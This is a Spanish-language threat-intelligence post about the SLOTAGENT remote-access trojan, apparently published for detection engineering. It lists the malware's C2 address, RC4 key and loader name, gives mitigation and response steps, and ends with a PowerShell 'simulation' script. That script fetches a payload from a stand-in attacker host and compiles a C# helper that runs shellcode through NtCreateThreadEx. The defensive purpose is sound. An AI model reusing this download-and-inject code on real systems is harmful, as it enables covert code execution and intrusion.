SOC Prime Bias: Medio

29 Apr 2026 14:27 UTC

Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado

Author Photo
SOC Prime Team linkedin icon Seguir
Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

IIJ identificó un RAT multifuncional previamente desconocido llamado SLOTAGENT dentro de un archivo ZIP subido a un repositorio público. El malware es compatible con la ejecución de payloads de Beacon Object File e incluye capacidades antiforenses como la manipulación de sellos de tiempo para dificultar el análisis. Se comunica con un punto final TCP codificado a través de un protocolo personalizado que intercambia datos en formato JSON. El cargador depende de datos de configuración cifrados con RC4 y utiliza carga reflexiva de DLL para ejecutar el payload final.

Investigación

El análisis estático mostró que el ejecutable del cargador, WindowsOobeAppHost.AOT.exe, resuelve funciones de API de Windows a través de una rutina de hash personalizada basada en DJB2. Su archivo de configuración cifrado, db.config, se descifra con RC4 usando la clave easdbadshyfab y luego se ejecuta como shellcode que contiene un DLL codificado con XOR. Después de cargarlo, el RAT se conecta a 43.156.59.110:699 y procesa comandos basados en JSON que soportan funciones como captura de pantalla, carga y descarga de archivos, y ejecución de BOF.

Mitigación

Los defensores deben detectar la dirección IP de comando y control codificada y buscar las cadenas de ruta características asociadas con el tráfico de red del malware. Las reglas YARA proporcionadas en el informe deberían desplegarse para identificar tanto el cargador como los componentes RAT. Los equipos de seguridad también deben monitorear el comportamiento sospechoso de hash de API y la carga reflexiva de DLL en los puntos finales. La ejecución de archivos EXE o DLL no firmados y no confiables debería restringirse siempre que sea posible.

Respuesta

Si se detectan indicadores vinculados a SLOTAGENT, aísle inmediatamente el host afectado, termine el proceso malicioso y recolecte memoria para un examen forense. La dirección IP de comando y control y los puertos relacionados deben ser bloqueados en el límite de la red. Las organizaciones deberían realizar un barrido completo de los nombres de archivos y hashes conocidos y aplicar las firmas YARA publicadas en los sistemas de detección de puntos finales.

Flujo de ataque

Ejecución de Simulación

Prerequisito: La verificación previa de Telemetría y Línea Base debe haber pasado.

  • Narrativa de Ataque y Comandos:

    El adversario ha obtenido una copia del binario del cargador SLOTAGENT, lo ha renombrado a WindowsOobeAppHost.AOT.exe para mezclarse con los procesos legítimos de OOBE, y lo ha colocado en C:WindowsSystem32. El payload está almacenado en un blob cifrado en el servidor del atacante. Usando PowerShell, el atacante descarga el blob cifrado, lo descifra en memoria, e invoca la rutina reflexiva del cargador a través de NtCreateThreadEx. El cargador llama internamente a NtCreateFile para leer recursos adicionales del blob cifrado y luego utiliza carga reflexiva para ejecutar el DLL malicioso sin tocar el disco. Esta actividad produce un evento Sysmon ProcessCreate con exactamente el nombre de la Imagen y un CallTrace que contiene las tres cadenas definidas en la regla.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simulación de carga reflexiva SLOTAGENT (Windows)
    # -------------------------------------------------
    # 1. Definir rutas
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Asegúrese de que el cargador exista (copia simulada del binario real)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Copiando cargador simulado a $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Descargar payload cifrado (simulado)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Descifrar payload en memoria (marcador de posición – descifrado real omitido)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Invocar carga reflexiva a través de llamadas a API nativas
    #    Esto usa un pequeño ayudante C# compilado al vuelo que llama a NtCreateThreadEx
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Limpiar archivo temporal
    Remove-Item $tempPayload -Force
  • Comandos de Limpieza:

    # Terminar cualquier proceso del cargador que quede
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Eliminar binario del cargador simulado
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Eliminar cualquier archivo temporal residual
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue